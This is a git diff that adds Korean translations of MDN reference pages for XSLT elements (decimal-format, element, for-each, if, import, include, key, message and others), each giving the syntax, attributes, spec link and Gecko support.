+ TEMPLATE
+&lt;/xsl:copy&gt;</pre>
+<h3 id=".ED.95.84.EC.88.98_.EC.86.8D.EC.84.B1" name=".ED.95.84.EC.88.98_.EC.86.8D.EC.84.B1">필수 속성</h3>
+<p>없음.</p>
+<h3 id=".EC.84.A0.ED.83.9D_.EC.86.8D.EC.84.B1" name=".EC.84.A0.ED.83.9D_.EC.86.8D.EC.84.B1">선택 속성</h3>
+<dl>
+ <dt>
+ <code>use-attribute-sets</code></dt>
+ <dd>
+ 요소이면, 출력 노드에 적용해도 좋을 속성 집합을 나열합니다. 집합의 이름은 공백 문자로 구분해야 합니다.</dd>
+</dl>
+<h3 id=".ED.83.80.EC.9E.85" name=".ED.83.80.EC.9E.85">타입</h3>
+<p>명령, 템플릿 안에 나타남.</p>
+<h3 id=".EC.A0.95.EC.9D.98" name=".EC.A0.95.EC.9D.98">정의</h3>
+<p><a class="external" href="http://www.w3.org/TR/xslt#copying">XSLT section 7.5, Copying</a></p>
+<h3 id="Gecko_.EC.A7.80.EC.9B.90" name="Gecko_.EC.A7.80.EC.9B.90">Gecko 지원</h3>
+<p>지원함.</p>
diff --git a/files/ko/web/xslt/decimal-format/index.html b/files/ko/web/xslt/decimal-format/index.html
new file mode 100644
index 0000000000..83e51a2e90
--- /dev/null
+++ b/files/ko/web/xslt/decimal-format/index.html
@@ -0,0 +1,100 @@
+---
+title: decimal-format
+slug: Web/XSLT/decimal-format
+tags:
+ - XSLT_Reference
+translation_of: Web/XSLT/Element/decimal-format
+---
+<p>{{ XsltRef() }}</p>
+<p><code>&lt;xsl:decimal-format&gt;</code> 요소는
+ <i>
+ <code>format-number( )</code></i>
+ 함수를 써서 숫자를 문자열로 바꿀 때 쓰는 기호와 문자를 정의합니다.</p>
+<h3 id=".EB.AC.B8.EB.B2.95" name=".EB.AC.B8.EB.B2.95">문법</h3>
+<pre>&lt;xsl:decimal-format
+ name=NAME
+ decimal-separator=CHARACTER
+ grouping-separator=CHARACTER
+ infinity=STRING
+ minus-sign=CHARACTER
+ NaN=STRING
+ percent=CHARACTER
+ per-mille=CHARATER
+ zero-digit=CHARACTER
+ digit=CHARACTER
+ pattern-separator=CHARACTER /&gt;</pre>
+<h3 id=".ED.95.84.EC.88.98_.EC.86.8D.EC.84.B1" name=".ED.95.84.EC.88.98_.EC.86.8D.EC.84.B1">필수 속성</h3>
+<p>없음.</p>
+<h3 id=".EC.84.A0.ED.83.9D_.EC.86.8D.EC.84.B1" name=".EC.84.A0.ED.83.9D_.EC.86.8D.EC.84.B1">선택 속성</h3>
+<dl>
+ <dt>
+ <code>name</code></dt>
+ <dd>
+ 이 형식에 이름을 지정합니다.</dd>
+</dl>
+<dl>
+ <dt>
+ <code>decimal-separator</code></dt>
+ <dd>
+ 소숫점 문자를 지정합니다. 기본값은 (<code>.</code>)입니다.</dd>
+</dl>
+<dl>
+ <dt>
+ <code>grouping-separator</code></dt>
+ <dd>
+ 그룹 구분 문자를 지정합니다. 기본값은 (<code>,</code>)입니다.</dd>
+</dl>
+<dl>
+ <dt>
+ <code>infinity</code></dt>
+ <dd>
+ 무한대(infinity)를 나타내는데 쓰는 문자열을 지정합니다. 기본값은 "<code>Infinity</code>" 문자열입니다.</dd>
+</dl>
+<dl>
+ <dt>
+ <code>minus-sign</code></dt>
+ <dd>
+ 빼기 기호 문자를 지정합니다. 기본값은 (<code>-</code>)입니다.</dd>
+</dl>
+<dl>
+ <dt>
+ <code>NaN</code></dt>
+ <dd>
+ 값이 숫자가 아닐 때 쓰는 문자열을 지정합니다. 기본값은 "<code>NaN</code>" 문자열입니다.</dd>
+</dl>
+<dl>
+ <dt>
+ <code>percent</code></dt>
+ <dd>
+ 백분율(percentage) 기호 문자를 지정합니다. 기본값은 (<code>%</code>)입니다.</dd>
+</dl>
+<dl>
+ <dt>
+ <code>per-mille</code></dt>
+ <dd>
+ 천분율(per thousand) 문자를 지정합니다. 기본값은 (<code>‰</code>)입니다.</dd>
+</dl>
+<dl>
+ <dt>
+ <code>zero-digit</code></dt>
+ <dd>
+ 숫자 0으로 쓸 문자를 지정합니다. 기본값은 (<code>0</code>)입니다.</dd>
+</dl>
+<dl>
+ <dt>
+ <code>digit</code></dt>
+ <dd>
+ 형식 패턴에서 숫자(digit)를 나타내는데 쓰는 문자를 지정합니다. 기본값은 (<code>#</code>)입니다.</dd>
+</dl>
+<dl>
+ <dt>
+ <code>pattern-separator</code></dt>
+ <dd>
+ 형식 패턴에서 양수와 음수 부분패턴을 구분하는 문자를 지정합니다. 기본값은 (<code>;</code>)입니다.</dd>
+</dl>
+<h3 id=".ED.83.80.EC.9E.85" name=".ED.83.80.EC.9E.85">타입</h3>
+<p>최상위, <code>&lt;xsl:stylesheet&gt;</code>나 <code>&lt;xsl:transform&gt;</code>의 자식이어야 함.</p>
+<h3 id=".EC.A0.95.EC.9D.98" name=".EC.A0.95.EC.9D.98">정의</h3>
+<p><a class="external" href="http://www.w3.org/TR/xslt#format-number">XSLT section 12.3, Number Formatting</a></p>
+<h3 id="Gecko_.EC.A7.80.EC.9B.90" name="Gecko_.EC.A7.80.EC.9B.90">Gecko 지원</h3>
+<p>Mozilla 1.0과 Netscape 7.0 현재 지원함.</p>
diff --git a/files/ko/web/xslt/element/element/index.html b/files/ko/web/xslt/element/element/index.html
new file mode 100644
index 0000000000..1087cb1660
--- /dev/null
+++ b/files/ko/web/xslt/element/element/index.html
@@ -0,0 +1,37 @@
+---
+title: element
+slug: Web/XSLT/Element/element
+tags:
+ - XSLT_Reference
+translation_of: Web/XSLT/Element/element
+---
+<p>{{ XsltRef() }}</p>
+<p><code>&lt;xsl:element&gt;</code> 요소는 출력 문서에 요소를 만듭니다.</p>
+<h3 id=".EB.AC.B8.EB.B2.95" name=".EB.AC.B8.EB.B2.95">문법</h3>
+<pre>&lt;xsl:element name=NAME namespace=URI use-attribute-sets=LIST-OF-NAMES &gt;
+ TEMPLATE
+&lt;/xsl:template&gt;</pre>
+<h3 id=".ED.95.84.EC.88.98_.EC.86.8D.EC.84.B1" name=".ED.95.84.EC.88.98_.EC.86.8D.EC.84.B1">필수 속성</h3>
+<dl>
+ <dt>
+ <code>name</code></dt>
+ <dd>
+ 출력 요소에 바라는 이름을 지정합니다. 이름은 유효한 QName이어야 합니다.</dd>
+</dl>
+<h3 id=".EC.84.A0.ED.83.9D_.EC.86.8D.EC.84.B1" name=".EC.84.A0.ED.83.9D_.EC.86.8D.EC.84.B1">선택 속성</h3>
+<dl>
+ <dt>
+ <code>namespace</code></dt>
+ <dd>
+ 출력 요소에 이름공간을 지정합니다.</dd>
+ <dt>
+ <code>use-attribute-sets</code></dt>
+ <dd>
+ 출력 요소에 쓸 이름 붙인 속성 집합을 나열합니다. 이름은 공백 문자로 구분해야 합니다.</dd>
+</dl>
+<h3 id=".ED.83.80.EC.9E.85" name=".ED.83.80.EC.9E.85">타입</h3>
+<p>명령, 템플릿 안에 나타남.</p>
+<h3 id=".EC.A0.95.EC.9D.98" name=".EC.A0.95.EC.9D.98">정의</h3>
+<p><a class="external" href="http://www.w3.org/TR/xslt#section-Creating-Elements-with-xsl:element">XSLT section 7.1.2, Creating Elements with xsl:element</a></p>
+<h3 id="Gecko_.EC.A7.80.EC.9B.90" name="Gecko_.EC.A7.80.EC.9B.90">Gecko 지원</h3>
+<p>지원함.</p>
diff --git a/files/ko/web/xslt/element/index.html b/files/ko/web/xslt/element/index.html
new file mode 100644
index 0000000000..76af8973dd
--- /dev/null
+++ b/files/ko/web/xslt/element/index.html
@@ -0,0 +1,76 @@
+---
+title: Elements
+slug: Web/XSLT/Element
+tags:
+ - XSLT_Reference
+translation_of: Web/XSLT/Element
+---
+<p>{{ XsltRef() }} 여기에서 다루는 요소의 두 타입은 최상위 요소와 명령(instruction)입니다. 최상위 요소는 <code>&lt;xsl:stylesheet&gt;</code>나 <code>&lt;xsl:transform&gt;</code>의 자식으로 나타나야 합니다. 이에 반해, 명령은 템플릿과 관련이 있습니다. 스타일시트는 여러 템플릿을 포함할지도 모릅니다. 여기서 다루지 않는 세 번째 타입의 요소는 LRE(literal result element)입니다. LRE 또한 템플릿에 나타납니다. LRE는 예를 들어, HTML 변환 스타일시트 안의 <code>&lt;hr&gt;</code> 요소처럼 결과 문서에 복사되는게 좋은 어떤 비명령 요소로 이루어져 있습니다.</p>
+<p>관련 기록에 따르면, LRE의 어떤 속성과 한정된 수의 XSLT 요소의 속성도 속성값 템플릿으로 알려진 것을 또한 포함할 수 있습니다. 속성값 템플릿은 단순히 속성값 지정에 쓰이는 임베드된 XPath 식을 포함하는 문자열입니다. 실행할 때 식을 평가하고 평가 결과는 XPath 식으로 바꾸어 놓습니다. 예를 들어, "&lt;tt&gt;image-dir&lt;/tt&gt;" 변수를 다음처럼 정의했다고 하면,</p>
+<pre>&lt;xsl:variable name="image-dir"&gt;/images&lt;/xsl:variable&gt;</pre>
+<p>평가된 식은 중괄호 안에 놓입니다.</p>
+<pre>&lt;img src="{$image-dir}/mygraphic.jpg"/&gt;</pre>
+<p>이는 다음과 같은 결론에 다다릅니다.</p>
+<pre>&lt;img src="/images/mygraphic.jpg"/&gt;</pre>
+<p>뒤따르는 요소 주석은 설명과 문법 나열, 필수 속성과 선택 속성 목록, 타입과 자리 설명, W3C 권고안 속 요소 소스와 현 Gecko의 지원 정도에 대한 설명을 포함합니다.</p>
+<ul>
+ <li><a href="ko/XSLT/apply-imports">xsl:apply-imports</a></li>
+ <li><a href="ko/XSLT/apply-templates">xsl:apply-templates</a></li>
+ <li><a href="ko/XSLT/attribute">xsl:attribute</a></li>
+ <li><a href="ko/XSLT/attribute-set">xsl:attribute-set</a></li>
+ <li><a href="ko/XSLT/call-template">xsl:call-template</a></li>
+ <li><a href="ko/XSLT/choose">xsl:choose</a></li>
+ <li><a href="ko/XSLT/comment">xsl:comment</a></li>
+ <li><a href="ko/XSLT/copy">xsl:copy</a></li>
+ <li><a href="ko/XSLT/copy-of">xsl:copy-of</a></li>
+ <li><a href="ko/XSLT/decimal-format">xsl:decimal-format</a></li>
+ <li><a href="ko/XSLT/element">xsl:element</a></li>
+ <li><a href="ko/XSLT/fallback">xsl:fallback</a>
+ <i>
+ (지원 안 함)</i>
+ </li>
+ <li><a href="ko/XSLT/for-each">xsl:for-each</a></li>
+ <li><a href="ko/XSLT/if">xsl:if</a></li>
+ <li><a href="ko/XSLT/import">xsl:import</a>
+ <i>
+ (대부분 지원)</i>
+ </li>
+ <li><a href="ko/XSLT/include">xsl:include</a></li>
+ <li><a href="ko/XSLT/key">xsl:key</a></li>
+ <li><a href="ko/XSLT/message">xsl:message</a></li>
+ <li><a href="ko/XSLT/namespace-alias">xsl:namespace-alias</a>
+ <i>
+ (지원 안 함)</i>
+ </li>
+ <li><a href="ko/XSLT/number">xsl:number</a>
+ <i>
+ (부분 지원)</i>
+ </li>
+ <li><a href="ko/XSLT/otherwise">xsl:otherwise</a></li>
+ <li><a href="ko/XSLT/output">xsl:output</a>
+ <i>
+ (부분 지원)</i>
+ </li>
+ <li><a href="ko/XSLT/param">xsl:param</a></li>
+ <li><a href="ko/XSLT/preserve-space">xsl:preserve-space</a></li>
+ <li><a href="ko/XSLT/processing-instruction">xsl:processing-instruction</a></li>
+ <li><a href="ko/XSLT/sort">xsl:sort</a></li>
+ <li><a href="ko/XSLT/strip-space">xsl:strip-space</a></li>
+ <li><a href="ko/XSLT/stylesheet">xsl:stylesheet</a>
+ <i>
+ (부분 지원)</i>
+ </li>
+ <li><a href="ko/XSLT/template">xsl:template</a></li>
+ <li><a href="ko/XSLT/text">xsl:text</a>
+ <i>
+ (부분 지원)</i>
+ </li>
+ <li><a href="ko/XSLT/transform">xsl:transform</a></li>
+ <li><a href="ko/XSLT/value-of">xsl:value-of</a>
+ <i>
+ (부분 지원)</i>
+ </li>
+ <li><a href="ko/XSLT/variable">xsl:variable</a></li>
+ <li><a href="ko/XSLT/when">xsl:when</a></li>
+ <li><a href="ko/XSLT/with-param">xsl:with-param</a></li>
+</ul>
diff --git a/files/ko/web/xslt/fallback/index.html b/files/ko/web/xslt/fallback/index.html
new file mode 100644
index 0000000000..af407f4512
--- /dev/null
+++ b/files/ko/web/xslt/fallback/index.html
@@ -0,0 +1,23 @@
+---
+title: fallback
+slug: Web/XSLT/fallback
+tags:
+ - XSLT_Reference
+translation_of: Web/XSLT/Element/fallback
+---
+<p>{{ XsltRef() }}</p>
+<p><code>&lt;xsl:fallback&gt;</code> 요소는 주어진 확장(이나 결국에는 새 버전) 요소에서 지원하지 않으면 쓸 템플릿을 지정합니다.</p>
+<h3 id=".EB.AC.B8.EB.B2.95" name=".EB.AC.B8.EB.B2.95">문법</h3>
+<pre>&lt;xsl:fallback&gt;
+ TEMPLATE
+&lt;/xsl:fallback&gt;</pre>
+<h3 id=".ED.95.84.EC.88.98_.EC.86.8D.EC.84.B1" name=".ED.95.84.EC.88.98_.EC.86.8D.EC.84.B1">필수 속성</h3>
+<p>없음.</p>
+<h3 id=".EC.84.A0.ED.83.9D_.EC.86.8D.EC.84.B1" name=".EC.84.A0.ED.83.9D_.EC.86.8D.EC.84.B1">선택 속성</h3>
+<p>없음.</p>
+<h3 id=".ED.83.80.EC.9E.85" name=".ED.83.80.EC.9E.85">타입</h3>
+<p>명령, 템플릿 안에 나타남.</p>
+<h3 id=".EC.A0.95.EC.9D.98" name=".EC.A0.95.EC.9D.98">정의</h3>
+<p><a class="external" href="http://www.w3.org/TR/xslt#fallback">XSLT section 15, Fallback</a></p>
+<h3 id="Gecko_.EC.A7.80.EC.9B.90" name="Gecko_.EC.A7.80.EC.9B.90">Gecko 지원</h3>
+<p>이번에 지원 안 함.</p>
diff --git a/files/ko/web/xslt/for-each/index.html b/files/ko/web/xslt/for-each/index.html
new file mode 100644
index 0000000000..6beb713190
--- /dev/null
+++ b/files/ko/web/xslt/for-each/index.html
@@ -0,0 +1,29 @@
+---
+title: for-each
+slug: Web/XSLT/for-each
+tags:
+ - XSLT_Reference
+translation_of: Web/XSLT/Element/for-each
+---
+<p>{{ XsltRef() }}</p>
+<p><code>&lt;xsl:for-each&gt;</code> 요소는 노드 집합을 선택하고 같은 방식으로 각 노드를 처리합니다. 노드 집합을 되풀이하(iterate)거나 현재 노드를 바꾸는데 자주 씁니다. 하나 이상의 <code>&lt;xsl:sort&gt;</code> 요소가 이 요소의 자식으로 나타나면, 처리에 앞서 정렬을 합니다. 그렇지 않으면, 노드는 문서 순으로 처리합니다.</p>
+<h3 id=".EB.AC.B8.EB.B2.95" name=".EB.AC.B8.EB.B2.95">문법</h3>
+<pre>&lt;xsl:for-each select=EXPRESSION&gt;
+ &lt;xsl:sort&gt; [optional]
+ TEMPLATE
+&lt;/xsl:for-each&gt;</pre>
+<h3 id=".ED.95.84.EC.88.98_.EC.86.8D.EC.84.B1" name=".ED.95.84.EC.88.98_.EC.86.8D.EC.84.B1">필수 속성</h3>
+<dl>
+ <dt>
+ <code>select</code></dt>
+ <dd>
+ 처리할 노드를 선택하기 위해 XPath 식을 씁니다.</dd>
+</dl>
+<h3 id=".EC.84.A0.ED.83.9D_.EC.86.8D.EC.84.B1" name=".EC.84.A0.ED.83.9D_.EC.86.8D.EC.84.B1">선택 속성</h3>
+<p>없음.</p>
+<h3 id=".ED.83.80.EC.9E.85" name=".ED.83.80.EC.9E.85">타입</h3>
+<p>명령, 템플릿 안에 나타남.</p>
+<h3 id=".EC.A0.95.EC.9D.98" name=".EC.A0.95.EC.9D.98">정의</h3>
+<p><a class="external" href="http://www.w3.org/TR/xslt#for-each">XSLT section 8, Repetition</a></p>
+<h3 id="Gecko_.EC.A7.80.EC.9B.90" name="Gecko_.EC.A7.80.EC.9B.90">Gecko 지원</h3>
+<p>지원함.</p>
diff --git a/files/ko/web/xslt/if/index.html b/files/ko/web/xslt/if/index.html
new file mode 100644
index 0000000000..2c56b7d218
--- /dev/null
+++ b/files/ko/web/xslt/if/index.html
@@ -0,0 +1,28 @@
+---
+title: if
+slug: Web/XSLT/if
+tags:
+ - XSLT_Reference
+translation_of: Web/XSLT/Element/if
+---
+<p>{{ XsltRef() }}</p>
+<p><code>&lt;xsl:if&gt;</code> 요소는 test 속성과 템플릿을 포함합니다. test 속성을 참으로 평가하면, 템플릿을 처리합니다. 이것은 다른 언어의 if 문과 비슷합니다. 그러나, &lt;tt&gt;if-then-else&lt;/tt&gt; 문의 기능을 다하기 위해 <code>&lt;xsl:when&gt;</code>과 <code>&lt;xsl:otherwise&gt;</code> 자식이 하나씩 있는 <code>&lt;xsl:choose&gt;</code> 요소를 씁니다.</p>
+<h3 id=".EB.AC.B8.EB.B2.95" name=".EB.AC.B8.EB.B2.95">문법</h3>
+<pre>&lt;xsl:if test=EXPRESSION&gt;
+ TEMPLATE
+&lt;/xsl:if&gt;</pre>
+<h3 id=".ED.95.84.EC.88.98_.EC.86.8D.EC.84.B1" name=".ED.95.84.EC.88.98_.EC.86.8D.EC.84.B1">필수 속성</h3>
+<dl>
+ <dt>
+ <code>test</code></dt>
+ <dd>
+ Boolean 값으로 (필요하다면 <code>boolean( )</code>으로 정의한 규칙을 써서) 평가할 수 있는 XPath 식을 포함합니다. 값이 참이면 템플릿을 처리하고 거짓이면 아무 동작도 하지 않습니다.</dd>
+</dl>
+<h3 id=".EC.84.A0.ED.83.9D_.EC.86.8D.EC.84.B1" name=".EC.84.A0.ED.83.9D_.EC.86.8D.EC.84.B1">선택 속성</h3>
+<p>없음.</p>
+<h3 id=".ED.83.80.EC.9E.85" name=".ED.83.80.EC.9E.85">타입</h3>
+<p>명령, 템플릿 안에 나타남.</p>
+<h3 id=".EC.A0.95.EC.9D.98" name=".EC.A0.95.EC.9D.98">정의</h3>
+<p><a class="external" href="http://www.w3.org/TR/xslt#section-Conditional-Processing-with-xsl:if">XSLT section 9.1, Conditional Processing with xsl:if</a></p>
+<h3 id="Gecko_.EC.A7.80.EC.9B.90" name="Gecko_.EC.A7.80.EC.9B.90">Gecko 지원</h3>
+<p>지원함.</p>
diff --git a/files/ko/web/xslt/import/index.html b/files/ko/web/xslt/import/index.html
new file mode 100644
index 0000000000..5a469656cb
--- /dev/null
+++ b/files/ko/web/xslt/import/index.html
@@ -0,0 +1,26 @@
+---
+title: import
+slug: Web/XSLT/import
+tags:
+ - XSLT_Reference
+translation_of: Web/XSLT/Element/import
+---
+<p>{{ XsltRef() }}</p>
+<p><code>&lt;xsl:import&gt;</code> 요소는 한 스타일시트의 컨텐트를 다른 스타일시트로 가져오는 역할을 하는 최상위 요소입니다. 대체로, 가져올 스타일시트의 컨텐트는 가져오는 스타일시트의 컨텐트보다 가져오기 우선순위가 낮습니다. 이는 포함되는 스타일시트의 컨텐트가 포함하는 스타일시트의 컨텐트와 우선순위가 정확히 같은 <code>&lt;xsl:include&gt;</code>와는 뚜렷이 다릅니다.</p>
+<h3 id=".EB.AC.B8.EB.B2.95" name=".EB.AC.B8.EB.B2.95">문법</h3>
+<pre>&lt;xsl:import href=URI /&gt;</pre>
+<h3 id=".ED.95.84.EC.88.98_.EC.86.8D.EC.84.B1" name=".ED.95.84.EC.88.98_.EC.86.8D.EC.84.B1">필수 속성</h3>
+<dl>
+ <dt>
+ <code>href</code></dt>
+ <dd>
+ 가져올 스타일시트의 URI를 지정합니다.</dd>
+</dl>
+<h3 id=".EC.84.A0.ED.83.9D_.EC.86.8D.EC.84.B1" name=".EC.84.A0.ED.83.9D_.EC.86.8D.EC.84.B1">선택 속성</h3>
+<p>없음.</p>
+<h3 id=".ED.83.80.EC.9E.85" name=".ED.83.80.EC.9E.85">타입</h3>
+<p>최상위, 가져오는 스타일시트 안 <code>&lt;xsl:stylesheet&gt;</code>나 <code>&lt;xsl:transform&gt;</code>의 자식 가운데 가장 앞에 나타나야 함.</p>
+<h3 id=".EC.A0.95.EC.9D.98" name=".EC.A0.95.EC.9D.98">정의</h3>
+<p><a class="external" href="http://www.w3.org/TR/xslt#import">XSLT section 2.6.2, Stylesheet Import</a></p>
+<h3 id="Gecko_.EC.A7.80.EC.9B.90" name="Gecko_.EC.A7.80.EC.9B.90">Gecko 지원</h3>
+<p>Mozilla 1.0 현재 최상위 변수와 매개변수에 문제가 조금 있지만 대부분 지원함.</p>
diff --git a/files/ko/web/xslt/include/index.html b/files/ko/web/xslt/include/index.html
new file mode 100644
index 0000000000..965d03a15f
--- /dev/null
+++ b/files/ko/web/xslt/include/index.html
@@ -0,0 +1,26 @@
+---
+title: include
+slug: Web/XSLT/include
+tags:
+ - XSLT_Reference
+translation_of: Web/XSLT/Element/include
+---
+<p>{{ XsltRef() }}</p>
+<p><code>&lt;xsl:include&gt;</code> 요소는 한 스타일시트의 컨텐트를 다른 스타일시트에 합칩니다. <code>&lt;xsl:import&gt;</code>와는 달리, 포함되는 스타일시트의 컨텐트는 포함하는 스타일시트의 컨텐트와 우선순위가 정확히 같습니다.</p>
+<h3 id=".EB.AC.B8.EB.B2.95" name=".EB.AC.B8.EB.B2.95">문법</h3>
+<pre>&lt;xsl:include href=URI /&gt;</pre>
+<h3 id=".ED.95.84.EC.88.98_.EC.86.8D.EC.84.B1" name=".ED.95.84.EC.88.98_.EC.86.8D.EC.84.B1">필수 속성</h3>
+<dl>
+ <dt>
+ <code>href</code></dt>
+ <dd>
+ 포함할 스타일시트의 URI를 지정합니다.</dd>
+</dl>
+<h3 id=".EC.84.A0.ED.83.9D_.EC.86.8D.EC.84.B1" name=".EC.84.A0.ED.83.9D_.EC.86.8D.EC.84.B1">선택 속성</h3>
+<p>없음.</p>
+<h3 id=".ED.83.80.EC.9E.85" name=".ED.83.80.EC.9E.85">타입</h3>
+<p>최상위, <code>&lt;xsl:stylesheet&gt;</code>나 <code>&lt;xsl:transform&gt;</code>의 자식으로 나타남.</p>
+<h3 id=".EC.A0.95.EC.9D.98" name=".EC.A0.95.EC.9D.98">정의</h3>
+<p><a class="external" href="http://www.w3.org/TR/xslt#include">XSLT section 2.6.1, Stylesheet Inclusion</a></p>
+<h3 id="Gecko_.EC.A7.80.EC.9B.90" name="Gecko_.EC.A7.80.EC.9B.90">Gecko 지원</h3>
+<p>지원함.</p>
diff --git a/files/ko/web/xslt/index.html b/files/ko/web/xslt/index.html
new file mode 100644
index 0000000000..d7f6a6e738
--- /dev/null
+++ b/files/ko/web/xslt/index.html
@@ -0,0 +1,49 @@
+---
+title: XSLT
+slug: Web/XSLT
+tags:
+ - XSLT
+translation_of: Web/XSLT
+---
+<div><b>Extensible Stylesheet Language Transformations (XSLT)</b>는 전문 처리 소프트웨어와 함께 XML 문서 변환에 쓰이는 <a href="ko/XML">XML</a>에 기반을 둔 언어입니다. 비록 그 처리가 "변환"으로 되어 있더라도, 원 문서는 바뀌지 않습니다. 오히려, 새 XML 문서는 기존 문서의 컨텐트에 바탕을 두고 만듭니다. 그러므로, 새 문서를 표준 XML 문법이나 다른 형식(<a href="ko/HTML">HTML</a>이나 순수 텍스트 같은)으로 처리기가 결과를 직렬(출력)할 수도 있습니다. XSLT는 다른 XML 스키마 사이에 데이터를 바꾸거나 XML 데이터를 웹 페이지나 PDF 문서로 바꾸는데 가장 자주 쓰입니다. {{ Ref("one") }}</div>
+<table class="topicpage-table">
+<tbody><tr><td>
+<h4 id=".EB.AC.B8.EC.84.9C" name=".EB.AC.B8.EC.84.9C"> <a>문서</a> </h4>
+<dl><dt> <a href="ko/XSLT/Elements">XSLT Element Reference</a>
+</dt></dl>
+<dl><dt> <a href="ko/Transforming_XML_with_XSLT">Transforming XML with XSLT</a>
+</dt><dd> <small>XSLT는 스타일시트 만든 이가 그러길 바란다면 컨텐트를 모조리 다시 정리하고 다른 형식으로 변환하는 것을 포함하는 컨텐트 조작(manipulating)과 정렬이라는 중요한 두 방식으로 본래 XML 문서를 변환하게 합니다.</small>
+</dd></dl>
+<dl><dt> <a href="ko/Using_the_Mozilla_JavaScript_interface_to_XSL_Transformations">Using the Mozilla JavaScript interface to XSL Transformations</a>
+</dt><dd> <small>이 문서는 Mozilla 1.2의 자바스크립트 인터페이스와 XSLT 처리 엔진까지 설명합니다.</small>
+</dd></dl>
+<dl><dt> <a class="external" href="http://www.topxml.com/xsl/tutorials/intro/">XSLT &amp; XPath Tutorial</a>
+</dt><dd> <small>TopXML XSLT 입문서는 여러분에게 기본이 되는 XSLT 개념, 문법, 프로그래밍을 소개합니다.</small>
+</dd></dl>
+<dl><dt> <a class="external" href="http://www.w3schools.com/xsl/">XSLT Tutorial</a>
+</dt><dd> <small>이 <a class="external" href="http://www.w3schools.com">W3Schools</a> 입문서는 읽는 이에게 XML 문서를 XHTML같은 다른 형식으로 변환하기 위해 어떻게 XSLT를 사용하는지를 가르칩니다.</small>
+</dd></dl>
+<dl><dt> <a class="external" href="http://www.xml.com/pub/a/2000/08/holman/">What is XSLT?</a>
+</dt><dd> <small>XSLT와 XPath에 대한 이 방대한 해설은 두 기술에 대한 지식이 없다고 가정하고, 배경, 문맥, 구조, 개념, 입문 용어를 통해 읽는 이를 이끕니다.</small>
+</dd></dl>
+<p><span class="alllinks"><a>모두 보기...</a></span>
+</p>
+</td>
+<td>
+<h4 id=".EC.BB.A4.EB.AE.A4.EB.8B.88.ED.8B.B0" name=".EC.BB.A4.EB.AE.A4.EB.8B.88.ED.8B.B0"> 커뮤니티 </h4>
+<ul><li> Mozilla 포럼 보기...
+</li></ul>
+<p>{{ DiscussionList("dev-tech-xslt", "mozilla.dev.tech.xslt") }}
+</p>
+<h4 id=".EA.B4.80.EB.A0.A8_.EC.A3.BC.EC.A0.9C" name=".EA.B4.80.EB.A0.A8_.EC.A3.BC.EC.A0.9C"> 관련 주제 </h4>
+<dl><dd> <a href="ko/XML">XML</a>, <a href="ko/XPath">XPath</a>
+</dd></dl>
+</td></tr></tbody></table>
+<hr>
+<p><small>
+{{ Note("one") }} XSLT에 대한 이 내용은 [<a class=" external" href="http://en.wikipedia.org/wiki/Xslt" rel="freelink">http://en.wikipedia.org/wiki/Xslt</a> Wikipedia XSLT article]에서 얻었습니다.
+</small>
+</p><p><span class="comment">Categories</span>
+</p><p><span class="comment">Interwiki Language Links</span>
+</p><p><br>
+</p>{{ languages( { "en": "en/XSLT", "ja": "ja/XSLT", "pt": "pt/XSLT" } ) }}
diff --git a/files/ko/web/xslt/key/index.html b/files/ko/web/xslt/key/index.html
new file mode 100644
index 0000000000..733196810d
--- /dev/null
+++ b/files/ko/web/xslt/key/index.html
@@ -0,0 +1,35 @@
+---
+title: key
+slug: Web/XSLT/key
+tags:
+ - XSLT_Reference
+translation_of: Web/XSLT/Element/key
+---
+<p>{{ XsltRef() }}</p>
+<p><code>&lt;xsl:key&gt;</code> 요소는 <code>key( )</code> 함수가 있는 스타일시트 어디서나 쓸 수 있는 이름 붙은 키를 선언합니다.</p>
+<h3 id=".EB.AC.B8.EB.B2.95" name=".EB.AC.B8.EB.B2.95">문법</h3>
+<pre>&lt;xsl:key name=NAME match=EXPRESSION
+ use=EXPRESSION /&gt; </pre>
+<h3 id=".ED.95.84.EC.88.98_.EC.86.8D.EC.84.B1" name=".ED.95.84.EC.88.98_.EC.86.8D.EC.84.B1">필수 속성</h3>
+<dl>
+ <dt>
+ <code>name</code></dt>
+ <dd>
+ 이 키에 이름을 지정합니다. QName이어야 합니다.</dd>
+ <dt>
+ <code>match</code></dt>
+ <dd>
+ 이 키를 적용할 수 있는 노드를 정의합니다.</dd>
+ <dt>
+ <code>use</code></dt>
+ <dd>
+ 적용가능한 각 노드에 키값을 결정하는데 쓸 수 있는 XPath 식을 지정합니다.</dd>
+</dl>
+<h3 id=".EC.84.A0.ED.83.9D_.EC.86.8D.EC.84.B1" name=".EC.84.A0.ED.83.9D_.EC.86.8D.EC.84.B1">선택 속성</h3>
+<p>없음.</p>
+<h3 id=".ED.83.80.EC.9E.85" name=".ED.83.80.EC.9E.85">타입</h3>
+<p>최상위, <code>&lt;xsl:stylesheet&gt;</code>나 <code>&lt;xsl:transform&gt;</code>의 자식이어야 함.</p>
+<h3 id=".EC.A0.95.EC.9D.98" name=".EC.A0.95.EC.9D.98">정의</h3>
+<p><a class="external" href="http://www.w3.org/TR/xslt#key">XSLT section 12.2, Keys</a></p>
+<h3 id="Gecko_.EC.A7.80.EC.9B.90" name="Gecko_.EC.A7.80.EC.9B.90">Gecko 지원</h3>
+<p>지원함.</p>
diff --git a/files/ko/web/xslt/message/index.html b/files/ko/web/xslt/message/index.html
new file mode 100644
index 0000000000..d533a2d3c7
--- /dev/null
+++ b/files/ko/web/xslt/message/index.html
@@ -0,0 +1,28 @@
+---
+title: message
+slug: Web/XSLT/message
+tags:
+ - XSLT_Reference
+translation_of: Web/XSLT/Element/message
+---
+<p>{{ XsltRef() }}</p>
+<p><code>&lt;xsl:message&gt;</code> 요소는 (NS에서 자바스크립트 콘솔에) 메시지를 출력하고 선택에 따라 스타일시트 실행을 끝냅니다. 디버깅에 유용할 수 있습니다.</p>
+<h3 id=".EB.AC.B8.EB.B2.95" name=".EB.AC.B8.EB.B2.95">문법</h3>
+<pre>&lt;xsl:message terminate="yes" | "no" &gt;
+ TEMPLATE
+&lt;/xsl:message&gt;</pre>
+<h3 id=".ED.95.84.EC.88.98_.EC.86.8D.EC.84.B1" name=".ED.95.84.EC.88.98_.EC.86.8D.EC.84.B1">필수 속성</h3>
+<p>없음.</p>
+<h3 id=".EC.84.A0.ED.83.9D_.EC.86.8D.EC.84.B1" name=".EC.84.A0.ED.83.9D_.EC.86.8D.EC.84.B1">선택 속성</h3>
+<dl>
+ <dt>
+ <code>terminate</code></dt>
+ <dd>
+ "<code>yes</code>"로 설정하면, 실행을 끝마치는 게 좋겠다는 것을 나타냅니다. 기본값은 "<code>no</code>"이고 어느 경우에는 메시지가 출력하고 실행을 계속합니다.</dd>
+</dl>
